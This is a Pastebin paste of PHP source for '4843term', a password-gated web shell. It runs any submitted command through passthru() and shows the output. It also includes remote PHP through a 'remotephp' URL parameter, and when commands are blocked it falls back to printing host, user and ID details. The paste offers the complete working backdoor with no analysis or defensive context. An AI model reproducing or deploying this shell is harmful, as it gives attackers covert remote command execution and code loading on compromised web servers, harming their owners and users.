Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. <?php
  2.  
  3. $md5pass = "946cf47f56ba86bf80208715f3aa1921";
  4.  
  5. $password = $_POST["password"];
  6. $command = $_POST["command"];
  7. $changedir = $_POST["changedir"];
  8. $remotephp = $_GET["remotephp"];
  9.  
  10. if (empty($password)) $password = $_GET["password"];
  11.  
  12. if (!empty($password)) { if (md5($password) != $md5pass) $password = ""; }
  13. else $password = "";
  14. if (!isset($changedir) || empty($password)) {
  15. @ $changedir = exec("pwd");
  16. } else {
  17. @ chdir("$changedir");
  18. @ $changedir = exec("pwd");
  19. if (empty($changedir)) { $changedir = "/"; }
  20. }
  21. if (!empty($command) && !empty($password)) {
  22. $command = stripslashes($command);
  23. $temp = explode(" ", $command);
  24. if ($temp[0] == "cd") {
  25. $temp = explode(";", $command);
  26. $changedir = exec("$temp[0]; pwd");
  27. if (empty($changedir)) { $changedir = "/"; }
  28. $command = "";
  29. if (isset($temp[1])) {
  30. $command = $temp[1];
  31. for ($loop = 2; isset($temp[$loop]); $loop++) { $command .= "; $temp[$loop]"; }
  32. }
  33. }
  34. }
  35.  
  36. ?>
  37. <html>
  38. <head>
  39. <title>4843term</title>
  40. </head>
  41. <body bcolor="#FFFFFF" text="#000000">
  42. <font face="Fixedsys">
  43. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  44. <tr>
  45. <td align="left" valign="top">
  46. <form method="post" name="terminal" action="<?php echo $PHP_SELF; ?>" target="_self">
  47. <?php if (empty($password)) { echo " Password:<br>\n"; } ?>
  48. <input type="<?php if (!empty($password)) { echo "hidden"; } else { echo "password"; } ?>" name="password" size="50"<?php if (!empty($password)) echo " value=\"$password\""; ?>><?php if (empty($password)) { echo "<br><br>\n"; } ?>
  49. Directory:<br>
  50. <input type="text" name="changedir" size="50"<?php if (isset($changedir)) echo " value=\"$changedir\""; ?>><br><br>
  51. Command:<br>
  52. <input type="text" name="command" size="50">
  53. <input type="submit" value="Execute"><br>
  54. <input type="checkbox" name="stderr"<?php if (isset($stderr) || !isset($command)) echo " checked"; ?>> Enable stderr-trappin
  55. </form>
  56. </td>
  57. <td align="left" valign="center">
  58. <pre>
  59. 4843term by Havenard
  60. Version 1.050501 [01/May/2005]
  61.  
  62. Contact : havenard@hotmail.com
  63. IRC : irc.brasnet.org
  64.  
  65. 01010000 01001110 01010111
  66. </pre>
  67. </td>
  68. </tr>
  69. </table>
  70. <br>
  71. <pre>
  72. <?php
  73. if (md5($password) == $md5pass) {
  74. @ chdir("$changedir");
  75.  
  76. $safe_mode = (bool)ini_get("safe_mode");
  77.  
  78. if (!$safe_mode) {
  79. if (!empty($command)) {
  80. ob_start();
  81. if (!isset($OS) || ($OS != "Windows_NT"))
  82. @passthru("$command 2>&1");
  83. else
  84. @passthru("$command");
  85. $output = ob_get_contents();
  86. ob_end_clean();
  87. if (!empty($output))
  88. echo str_replace(">", ">", str_replace("<", "<", $output));
  89. }
  90. }
  91. else {
  92. echo "Due to SafeMode, it's unable to execute commands!\n";
  93.  
  94. echo "Machine informations:\n";
  95. echo "PHP: ".phpversion()."\n";
  96. echo "Server: $SERVER_SOFTWARE $SERVER_VERSION\n";
  97. $uname = @posix_uname();
  98. if (!empty($uname)) {
  99. while (list($info, $value) = each($uname))
  100. echo "$value ";
  101. echo "\n";
  102. }
  103. $uids = @posix_getlogin();
  104. $euids = @posix_getlogin();
  105. $uid = @posix_getuid();
  106. $euid = @posix_geteuid();
  107. $gid = @posix_getgid();
  108. if (!empty($uid))
  109. echo "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)\n";
  110. }
  111.  
  112. if (!empty($remotephp)) include($remotephp);
  113. }
  114.  
  115. ?>
  116.  
  117. </pre>
  118. <script> document.terminal.command.focus(); </script>
  119. </body>
  120. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement